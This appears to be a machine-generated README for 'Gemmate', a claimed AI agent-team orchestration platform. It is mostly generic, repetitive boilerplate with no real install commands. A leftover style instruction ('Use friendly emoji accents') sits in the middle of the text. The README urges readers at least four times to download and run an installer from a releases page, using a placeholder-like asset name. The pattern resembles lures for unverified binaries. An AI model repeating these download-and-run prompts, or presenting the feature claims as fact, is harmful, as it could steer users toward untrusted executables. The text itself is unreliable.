Gemmate: Orchestrate AI Agent Teams with Web Search, Voice, Files

Gemmate is an AI crew orchestration platform. It helps you create and manage teams of specialized AI agents. It brings web search, file analysis, and voice interactions into one coherent workflow. Build no-code or low-code teams to tackle complex tasks, automate routines, and scale collaboration across agents.

This repository hosts the core framework, tools, and templates to design, deploy, and operate multi-agent systems. It blends agent orchestration with a strong emphasis on practical automation, clear task flows, and measurable outcomes. The platform supports a rich set of capabilities, including search across the web, analysis of local and cloud files, and voice input and output for hands-free workflows.

If you want to explore the latest assets, visit the Releases page. You can download installers or packages there and run them to set up Gemmate on your machine or server. The Releases page is the best starting point for trying the software on your environment.

https://github.com/gussecond/gemmate/releases

Table of Contents

• Overview
• Core Concepts
• Features by Layer
• Architecture and Design
• Getting Started
• Quick Start Guide
• Studio and No-Code UX
• Agent Templates and Profiles
• Web Search and Knowledge Integration
• File Analysis and Knowledge Workflows
• Voice Capabilities
• Multi-Agent Orchestration and Task Flows
• API, CLI, and Extensibility
• Data Models and Persistence
• Security, Privacy, and Compliance
• Testing, Quality Assurance, and CI
• Community, Contributions, and Roadmap
• FAQ
• Contributing
• License

Overview Gemmate helps you orchestrate teams of AI agents as a cohesive crew. You define roles, assign tasks, and set interaction rules. The platform coordinates agents to perform searches, view documents, extract insights, and produce outputs with voice or text. This is not a single AI agent. It is a framework to manage many specialized agents working together.

The design favors clarity and reliability. Each agent has a clearly defined capability, inputs, outputs, and a set of constraints. The orchestrator coordinates agent turns, tracks progress, and ensures accountability. The system is built with modern web technologies and a modular architecture to support future extensions and new agent types.

Core Concepts

• Agent: A specialized AI entity with a defined purpose. Examples include a search agent, a document analyzer, a summarizer, and a voice interface agent.
• Team: A group of agents working together to complete a set of tasks. A team can be static or dynamic, with agents joining or leaving as needed.
• Orchestrator: The brain of Gemmate. It assigns tasks, sequences steps, and coordinates inter-agent communication.
• Task: A unit of work that an agent performs. Tasks have inputs, expected outputs, deadlines, and success criteria.
• Workflow: A sequence of tasks that realizes a business or research objective. Workflows define how data moves between agents and how results are combined.
• Studio: The no-code or low-code UI for building teams, tasks, and workflows. Studio helps you visualize task graphs and tweak agent behavior without writing code.
• Studio Agent: A prebuilt or user-defined agent ready to be added to a team with minimal configuration.
• Data Plane: The persistence layer where tasks, conversations, and artifacts live. It supports query, export, and audit.
• Knowledge Surface: The set of sources the system can consult, including web results, uploaded documents, and internal databases.
• Voice Interface: A component that captures speech input, converts it to text, and reads responses aloud back to users.

Features by Layer

• Orchestration Layer
  • Multi-agent coordination: Create teams of agents with clearly defined roles and responsibilities.
  • Task routing: Assign tasks to agents based on capability, load, and policy.
  • Conflict resolution: Detect contention points and resolve output conflicts between agents.
  • Progress tracking: Monitor task status, elapsed time, and success metrics.
• Agents Layer
  • Web search agent: Pulls information from the web, prioritizes sources, and returns concise results.
  • File analysis agent: Reads local or cloud files, extracts key data, and summarizes findings.
  • Summarization and synthesis agent: Produces concise overviews that capture essential insights.
  • Voice agent: Handles voice input, speech-to-text, and audio responses.
  • Data extraction agent: Pulls structured data from unstructured sources.
  • Knowledge base agent: Maintains a growing set of facts and references.
• Studio and UI Layer
  • No-code workflows: Build task graphs with drag-and-drop components.
  • Visual debugging: See how data flows between agents and where bottlenecks appear.
  • Live testing: Run workflows against sample data and observe results in real time.
• Data and Persistence Layer
  • Structured storage: Clear schemas for teams, agents, tasks, and results.
  • Audit trails: Track changes, decisions, and outputs with timestamps.
  • Export options: Move data to common formats for reporting or archival.
• Integrations and Extensibility
  • Plugins and adapters: Extend the platform with custom agent types and data sources.
  • API-first design: Access core features via REST-like endpoints and a typed interface.
  • No-code bindings: Connect to external services without writing code.

Architecture and Design Gemmate uses a modular, service-oriented approach. The orchestrator acts as the central conductor, while agents run in isolated components and communicate through a well-defined event bus. The Studio UI renders the task graphs and allows users to modify behavior without touching code. The data layer provides robust persistence, indexing, and search features so teams can reuse insights across sessions.

• Core services
  • Orchestrator service: Core logic for task assignment, sequencing, and coordination.
  • Agent services: Standalone runtimes capable of performing specific tasks.
  • Knowledge service: Stores and retrieves knowledge extracted by agents.
  • Voice service: Manages voice input and output for conversational tasks.
• Communication and data flow
  • Event bus: Publishes events such as task started, task completed, or error occurred.
  • API gateway: Exposes features to the front end and external clients.
  • Data layer: Persists entities and results with an emphasis on auditability.
• Deployment model
  • Local setups: Run components on a single machine for testing.
  • Cloud deployments: Run components as services behind load balancers.
  • Edge mode: Lightweight agents running near data sources to reduce latency.

Getting Started This guide helps you set up Gemmate quickly. It covers prerequisites, installation, and the first workflow you can run.

Prerequisites

• Node.js 16.x or newer
• npm or pnpm
• A modern browser for Studio (Chrome, Edge, or Firefox)
• Optional: Docker if you want containerized runs

Install

• Visit the releases page to fetch the latest installer for your platform. From the Releases page, download the latest asset named gemmate--linux-x64.tar.gz (as an example) and run the installer. This file is provided on the Releases page and is the simplest path to a working setup. See the link above for the assets. From the Releases page, download the latest asset and install.

• If you prefer a source-based setup, clone this repository and install dependencies:

  • Clear steps: clone the repository, navigate to the project directory, install dependencies, and start the development server.
  • Then run the development server to access Studio and the APIs.

Run locally

• Start the orchestrator and agents in development mode.
• Launch the Studio UI in your browser.
• Connect to your knowledge sources and start building a workflow.

Quick Start Guide

• Create a team with a search agent and a file analysis agent.
• Define a workflow to: fetch web results, pull documents, summarize, and deliver a final report.
• Add a voice interface to capture user requests and provide spoken summaries.
• Run the workflow and observe how data moves between agents.

Studio and No-Code UX Studio is the visual authoring environment. It helps you assemble agents, connect data sources, and define task sequences. The UI displays the flow, shows data lineage, and highlights where each decision happens. Studio reduces the friction of building multi-agent systems.

• Create a new project: Give it a name and describe the objective.
• Add agents: Choose prebuilt agents or create custom ones.
• Define tasks: Each task has inputs, outputs, and success criteria.
• Connect tasks: Build a graph showing how data passes through the workflow.
• Run and observe: Start the workflow and watch the live console update.

Agent Templates and Profiles Agents can be created from templates or custom definitions. Templates provide ready-made capabilities you can tailor to your needs. The profiles describe how an agent behaves, its data requirements, and its output structure. Use templates to speed up your setup and ensure consistency across teams.

• Everyday templates
  • Web search specialist
  • Document extractor
  • Summary generator
  • Voice interface
• Custom profiles
  • Define capabilities
  • Define inputs and outputs
  • Specify required data sources
  • Set safety and policy constraints

Web Search and Knowledge Integration The web search agent retrieves information from the public web and trusted sources. The agent returns a concise set of results with source links and confidence scores. The knowledge surface stores the results to reuse in later steps.

• Source prioritization: Rank sources by relevance and recency.
• Result summarization: Provide short, actionable summaries.
• Source tracing: Keep references so you can audit conclusions.

File Analysis and Knowledge Workflows The file analysis agent reads local and cloud files. It extracts data, detects key entities, and produces structured outputs. Workflows can use these outputs to build reports, answer questions, or feed into machine learning tasks.

• Supported formats: Text, PDFs, Word documents, spreadsheets.
• Data extraction: Table extraction, entity recognition, and keyword spotting.
• Security: Respect file permissions and avoid exposing sensitive data.

Voice Capabilities Voice enables hands-free interaction. The speech-to-text and text-to-speech components work together to capture queries and deliver responses. You can enable voice prompts, confirmations, and spoken summaries at various points in a workflow.

• Speech input: Accept natural language requests.
• Spoken output: Deliver concise, natural-sounding answers.
• Voice customization: Choose voice style and speed.

Multi-Agent Orchestration and Task Flows Gemmate coordinates a crew of agents to achieve complex goals. The orchestrator distributes tasks, handles inter-agent communication, and ensures timely completion. The multi-agent flow supports parallel processing, dependency chaining, and fallback strategies.

• Parallelization: Run independent tasks at the same time to save time.
• Dependency graphs: Ensure outputs feed into the next steps in the correct order.
• Conflict handling: Detect conflicting outputs and resolve them with rules.
• Rollback and retry: Re-run failed tasks with updated inputs.

API, CLI, and Extensibility

• API: A typed interface to interact with teams, agents, tasks, and workflows.
• CLI: Quick access to create, run, and monitor workflows from the command line.
• Extensibility: Add new agent types via plugins or adapters.

Data Models and Persistence

• Team: A group of agents with a shared objective.
• Agent: A unit with a specific capability.
• Task: A single unit of work with inputs and outputs.
• Workflow: A collection of tasks arranged to achieve a goal.
• Artifact: A produced result, such as a document or report.
• Conversation: The dialog context between agents or with users.
• Knowledge: A set of facts and references accumulated across sessions.

Security, Privacy, and Compliance

• Access control: Role-based access and policy-based controls.
• Data protection: Encryption at rest and in transit.
• Auditability: Full logs for accountability and compliance.
• Data retention: Configurable retention and deletion policies.

Testing, QA, and CI

• Unit tests: Coverage for core services and agents.
• Integration tests: Validate end-to-end workflows.
• CI pipelines: Automated builds and tests on pull requests.
• Local testing: Run tests locally with sample data.

Deployment and Operations

• Local mode: Quick trials on a developer machine.
• Cloud deployment: Scalable services behind a load balancer.
• Edge deployment: Lightweight agents near data sources for low latency.
• Observability: Metrics, logs, and traces for performance and troubleshooting.

No-Code Studio Walkthrough

• Create a project: Name, describe, and set objective.
• Add agents: Pick from templates or define custom ones.
• Build tasks: Create inputs, outputs, and conditions.
• Connect data: Map outputs to next task inputs.
• Run tests: Use sample data to validate the flow.
• Deploy: Move from test to production with minimal changes.

No-Code to Code Handoff

• Review the generated workflow.
• Export JSON or YAML for version control.
• Refine agent behavior with code for advanced scenarios.
• Re-import and test to ensure parity.

Asset Management and Distribution

• Asset catalog: Manage images, documents, and other artifacts produced by workflows.
• Versioning: Track changes to templates and agent configurations.
• Distribution: Share workflows within teams or across projects.

Examples and Use Cases

• Market research assistant: A team of search, extract, and summarize agents gathers data, analyzes it, and produces a market brief with sources.
• Legal discovery helper: A chain of agents processes documents, flags key clauses, and prepares a summary for review.
• Product support automation: A voice-enabled team handles customer inquiries, pulls knowledge, and generates responses.
• Data extraction and reporting: A workflow reads reports, extracts metrics, and delivers dashboards.

No-Code Studio Templates: A Practical Approach

• Build a template for a weekly briefing.
• Create a template for a sales enablement task.
• Design a template for research sprints.

Templates and Profiles: Practical Guidelines

• Use consistent naming.
• Document inputs and outputs.
• Include test data in templates.
• Keep templates small and composable.

Search and Discovery Best Practices

• Boundaries: Define source reliability and scope.
• Latency: Use cached results to speed up workflows.
• Verification: Cross-check results with multiple sources.
• Provenance: Record source links and dates.

File Analysis Best Practices

• Normalize file formats before processing.
• Extract key metadata early.
• Use versions of documents to track changes.

Voice Best Practices

• Use concise prompts.
• Confirm sensitive operations with the user.
• Provide clear, audible outputs.

Multi-Agent Best Practices

• Separate concerns: Assign distinct domains to agents.
• Avoid data leakage: Limit data sharing between agents.
• Use safety rails: Enforce policy checks before actions.

Security and Compliance Deep Dive

• Authentication: Use OAuth 2.0 or similar standard.
• Authorization: Fine-grained permissions per team and per agent.
• Data handling: Avoid exporting sensitive data without consent.
• Compliance: Align with privacy laws relevant to your region and sector.

Development Setup

• Install dependencies: Install the required packages and tools as described in the installation guide.
• Run locally: Start all services and verify the Studio UI loads.
• Test end-to-end: Run a defined workflow with sample data to ensure everything works.
• Extend: Add custom agents or plugins by following the plugin guidelines.
• Document changes: Keep a changelog for all improvements and fixes.

Testing, Quality Assurance, and CI

• Unit tests cover agents and core services.
• Integration tests verify workflow correctness.
• End-to-end tests run complete scenarios from Studio to output.
• CI runs on each pull request to catch regressions early.

Releases and Assets

• The Releases page hosts installers, binaries, and example assets.
• From the Releases page, download the latest asset named gemmate--linux-x64.tar.gz (as an example) and run the installer to install Gemmate on Linux. This approach is representative of what you will see on the page.
• If you want to explore more, visit the Releases page and review the assets for Windows and macOS as well.
• To reference or reuse a specific asset, use the file name shown on the asset card in the Releases section.

https://github.com/gussecond/gemmate/releases

Usage Scenarios

• Development teams can trial multi-agent workflows for project planning.
• Support teams can automate knowledge retrieval and response generation.
• Researchers can assemble agents to gather, process, and summarize literature.

Roadmap

• Expand language support for agents.
• Add richer analytics and dashboards.
• Improve Studio templates with community contributions.
• Integrate more external data sources for web search and file analysis.
• Enhance privacy controls and data governance features.

Contributing

• We welcome pull requests that introduce new agents, templates, or improvements to the orchestrator.
• Follow the contribution guidelines in the CONTRIBUTING.md file.
• Ensure tests pass and update documentation as needed.

FAQ

• Can I run Gemmate on my own laptop? Yes. Use the Linux or Windows installer from the Releases page to set up a local environment.
• Do I need to use the Studio to create workflows? Studio is optional for basic workflows, but it makes building and debugging easier.
• How do I add new agents? Create or import an agent template, then configure its inputs, outputs, and behavior. You can also implement a new agent type as a plugin.

License

• Gemmate is released under a permissive open-source license. See the LICENSE file for details.

Edge Cases and Troubleshooting

• If you see connection errors, verify that your API gateway is reachable and that your network allows WebSocket or long-polling connections.
• If a workflow stalls, check the task queue and look for tasks marked as failed. Review logs for error messages and adjust the agent configuration or inputs accordingly.
• If outputs are missing, verify the data lineage and ensure required inputs are provided to downstream tasks.

API Reference (Overview)

• Team endpoints: Create, update, delete teams; fetch team details and agent rosters.
• Agent endpoints: Create agent instances, configure capabilities, and monitor status.
• Workflow endpoints: Define tasks, connect edges, and trigger runs.
• Task endpoints: Inspect inputs/outputs, statuses, and error details.
• Event endpoints: Subscribe to task events for real-time monitoring.

CLI Reference (Overview)

• Create a new project: Initialize Studio projects from the command line.
• Add agents: Create or import agent profiles.
• Define tasks: Script steps with inputs and outputs.
• Run workflows: Execute a defined workflow and monitor progress.
• Export/import: Move workflows and templates between environments.

No-Code Studio Advanced Tips

• Use versioned templates to enable safe iteration.
• Add guardrails for high-risk operations.
• Create reusable task groups to improve maintainability.
• Document decisions within the workflow so stakeholders understand the reasoning.

Examples: Concrete Scenarios

• Research briefing generator: A team pulls web sources, extracts key findings from PDFs, and compiles a briefing deck.
• Customer issue triage: A voice-enabled workflow collects user input, searches the knowledge base, and drafts a suggested resolution.
• Market trend detector: An analyzer reads reports, extracts trends, and summarizes changes over time.

Images and Visuals

• The platform uses a modular UI to visualize agent graphs, data flow, and outputs.
• Use color-coded nodes for different agent types and data connectors to improve readability.
• Include flow diagrams showing how a typical workflow progresses from data input to final result.

Notes on Branding and Style

• Use plain English with clear action verbs.
• Keep sentences short and direct.
• Avoid marketing hype. Show what the platform does and how to use it.
• Use friendly emoji accents to lighten complex sections without losing clarity.

Troubleshooting Quick Reference

• If the Studio page does not load, check network restrictions and ensure the frontend and backend services are running.
• If agents do not appear in the Studio, confirm plugin installation and agent templates.
• If search results seem noisy, adjust source weighting and apply result filtering rules.

Security and Privacy Quick Wins

• Enforce role-based access control for teams and workflows.
• Encrypt sensitive data at rest and in transit.
• Maintain audit trails for all major actions.
• Apply data retention policies to limit long-term storage of sensitive information.

Final Notes Gemmate is designed to be adaptable. It lets teams build complex, multi-agent workflows with clarity and control. The platform emphasizes practical automation, transparency, and collaborative decision-making. As you experiment, you can start with simple flows and gradually introduce more agents and more sophisticated knowledge sources. The goal is to enable teams to work more effectively with AI while keeping data safe and processes auditable.

Link usage reminder

• The Releases page is the primary source for installers and assets. From this page, download the latest asset named gemmate--linux-x64.tar.gz (as an example) and execute the installer to set up Gemmate locally. You will find similar assets for Windows and macOS on the same page.
• For ongoing reference, you can always visit the Releases section at https://github.com/gussecond/gemmate/releases to review assets, release notes, and installation guidance. The link is provided here for quick access and again within this document to ensure you can jump to the assets when needed.